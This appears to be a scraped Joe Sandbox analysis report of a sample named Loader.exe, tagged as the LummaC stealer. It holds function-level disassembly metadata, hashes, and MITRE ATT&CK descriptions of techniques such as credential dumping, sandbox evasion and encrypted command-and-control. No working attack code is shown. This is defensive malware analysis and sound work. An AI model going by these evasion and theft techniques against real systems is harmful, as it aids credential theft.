Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73d681002a8d5e326e43e2273668d5303b8844265cc8f0ea9160012d5f0dd64c
Instruction ID: cc88a7ccb8815bbd39f18784da5762562a1b33de9aaed2d7b60ab1b8b44b8103
Opcode Fuzzy Hash: 73d681002a8d5e326e43e2273668d5303b8844265cc8f0ea9160012d5f0dd64c
Instruction Fuzzy Hash: AC412834A08219ABCF19DF6CC850A9EBFB1EF65B28F14805DD8149B381D735A901CF91

Function 011CAE13 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,011CAF22,011CB787,?,00000000,00000000,00000000,?,011CB07C,00000022,FlsSetValue,011D2FBC,011D2FC4,00000000), ref: 011CAED4

Strings

api-ms-, xrefs: 011CAE6A
ext-ms-, xrefs: 011CAE7E

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 11756e8f6f1a98d1783b0614dd898b430e95f62197f607460ca648d27f00447b
Instruction ID: 57db459f90ba39062ca64daa7958ccdac57cfbb7214af511a6d231093acdf46c
Opcode Fuzzy Hash: 11756e8f6f1a98d1783b0614dd898b430e95f62197f607460ca648d27f00447b
Instruction Fuzzy Hash: 61210831A02378A7CB3F9679BC40A5B3758AF51B60B150528E915A7285F730ED00CBE0

Function 011C5481 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,011C5478,011C514C,011C4998), ref: 011C548F
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 011C549D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 011C54B6
SetLastError.KERNEL32(00000000,011C5478,011C514C,011C4998), ref: 011C5508

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c68cdaf46b9c967cd74d574147af7e880757be51a0655e31ac75ed1a8ba01ef7
Instruction ID: fbb1ced2b5c0af2547b5f1c21050560c5a97a499fff8aafd35c698233176e9b1
Opcode Fuzzy Hash: c68cdaf46b9c967cd74d574147af7e880757be51a0655e31ac75ed1a8ba01ef7
Instruction Fuzzy Hash: BB01F53630B712AFA6BD2678ACC496E6B56EB32D79720023DE520801D4FF116880C350

Function 011C56A3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,011C5654,00000000,?,011D7CF4,?,?,?,011C57F7,00000004,InitializeCriticalSectionEx,011D1C18,InitializeCriticalSectionEx), ref: 011C56B0
GetLastError.KERNEL32(?,011C5654,00000000,?,011D7CF4,?,?,?,011C57F7,00000004,InitializeCriticalSectionEx,011D1C18,InitializeCriticalSectionEx,00000000,?,011C5577), ref: 011C56BA
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 011C56E2

Strings

api-ms-, xrefs: 011C56C7

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 7de0aa3b2b63222cbbc547ef5976ccc6eb7818a943bb1d912f6753ebab6355e1
Instruction ID: df81b7109bff2e44fd9a3a77e129b4e863870ddd6eb772982d439dccc477ace7
Opcode Fuzzy Hash: 7de0aa3b2b63222cbbc547ef5976ccc6eb7818a943bb1d912f6753ebab6355e1
Instruction Fuzzy Hash: 3AE04F30382244B7EF293AA5FC0AF593F59BB21E85F108034F90DE80D9E7B2A451DA44

Function 011CCACD Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0EF9F6A5,00000000,00000000,?), ref: 011CCB30

Part of subcall function 011C9FA4: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,011CC7AB,?,00000000,-00000008), ref: 011CA005

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 011CCD82
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 011CCDC8
GetLastError.KERNEL32 ref: 011CCE6B

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: ecf75a70fb061b100b86a50fd0945c1183d9010c86c47557dd9fdb34ef3850f3
Instruction ID: f167a15ce8d4f0f55d66c50b01756a120afaafd67f2999be0df65fe4a025ccfe
Opcode Fuzzy Hash: ecf75a70fb061b100b86a50fd0945c1183d9010c86c47557dd9fdb34ef3850f3
Instruction Fuzzy Hash: 3BD18AB5D002599FCB19CFE8C880AADBBB5EF19704F18456EE519EB351D730A941CF90

Function 011C6154 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 011C621B
___AdjustPointer.LIBCMT ref: 011C623E
___AdjustPointer.LIBCMT ref: 011C62DA

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: dc683b4f69bdf8050028d4a90735b8d43e5cbb99af17d150e0c700ef2c430ec7
Instruction ID: 7192c0e73b19b813b6e149789e2c00bd5a92ede6adac74323645b8560d6d1abc
Opcode Fuzzy Hash: dc683b4f69bdf8050028d4a90735b8d43e5cbb99af17d150e0c700ef2c430ec7
Instruction Fuzzy Hash: 0C51B272605302EFEB2D8F58D840B6ABBB6EF74A15F14452DE90587392D731E940CB91

Function 011CE2A6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,011CDA60,00000000,00000001,00000000,?,?,011CCEBF,?,00000000,00000000), ref: 011CE2BD
GetLastError.KERNEL32(?,011CDA60,00000000,00000001,00000000,?,?,011CCEBF,?,00000000,00000000,?,?,?,011CD462,00000000), ref: 011CE2C9

Part of subcall function 011CE28F: CloseHandle.KERNEL32(FFFFFFFE,011CE2D9,?,011CDA60,00000000,00000001,00000000,?,?,011CCEBF,?,00000000,00000000,?,?), ref: 011CE29F

___initconout.LIBCMT ref: 011CE2D9

Part of subcall function 011CE251: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,011CE280,011CDA4D,?,?,011CCEBF,?,00000000,00000000,?), ref: 011CE264

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,011CDA60,00000000,00000001,00000000,?,?,011CCEBF,?,00000000,00000000,?), ref: 011CE2EE

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a37541504d4b1b058593c525e0725fab365f6785bd40dac37d09b3bee30a2574
Instruction ID: 9a9bf0633a6821740209d86e7e0cd82f726ef61f87599daeab0385c29f9eb791
Opcode Fuzzy Hash: a37541504d4b1b058593c525e0725fab365f6785bd40dac37d09b3bee30a2574
Instruction Fuzzy Hash: CEF01C36103169BFCF3A3FD5DC04A9A3F66FB196A1B414024FA2995124D73288A0DB90

Function 011C674F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 011C6774

Strings

RCC, xrefs: 011C678E
MOC, xrefs: 011C6786

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 35c36a1d91aae3d9e545193cf34f12fdfa75cc0da8c8c0431c77cb840c4e7a2f
Instruction ID: 2d1b84d92b3dfbbe4a4e668fe3160c9370e0cbc882538b259dfd90183326703a
Opcode Fuzzy Hash: 35c36a1d91aae3d9e545193cf34f12fdfa75cc0da8c8c0431c77cb840c4e7a2f
Instruction Fuzzy Hash: 50415971900209EFDF1ADF98C880AAEBBB5BF68704F14416DFA14A6261D335D950DB51

Function 004337D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043380F
GetSystemMetrics.USER32 ref: 0043381E

Strings

, xrefs: 004338C9

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 6403185beb149deeedd7f3f286dac83d199aac6bba366abfa8a1fc55fa7a9e2a
Instruction ID: 0fa57810a90dcf32d4ca95e0f32b1f236f6c38084188f91b8e27ff802e92a4cc
Opcode Fuzzy Hash: 6403185beb149deeedd7f3f286dac83d199aac6bba366abfa8a1fc55fa7a9e2a
Instruction Fuzzy Hash: 9431B0F49142009FDB40EF68D98465ABBF4BB89304F11852EE898DB360D770A989CF86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Loader.exe

Function 00437BC0 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 639
memorycomCOMMON

Function 004105F3 Relevance: 15.8, Strings: 12, Instructions: 815
COMMON

Function 00421A80 Relevance: 14.3, Strings: 11, Instructions: 597
COMMON

Function 0042DB7F Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 498
COMMON

Function 00423A2A Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 400
COMMON

Function 004085D0 Relevance: 7.7, APIs: 5, Instructions: 170
threadCOMMON

Function 0042DB7A Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 488
COMMON

Function 0040A8C0 Relevance: 6.6, Strings: 5, Instructions: 384
COMMON

Function 00AFF5C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104
nativeCOMMON

Function 0040D120 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 312
COMMON

Function 0040C63C Relevance: 4.4, Strings: 3, Instructions: 602
COMMON

Function 011CC600 Relevance: 4.7, APIs: 3, Instructions: 197
COMMONLIBRARYCODE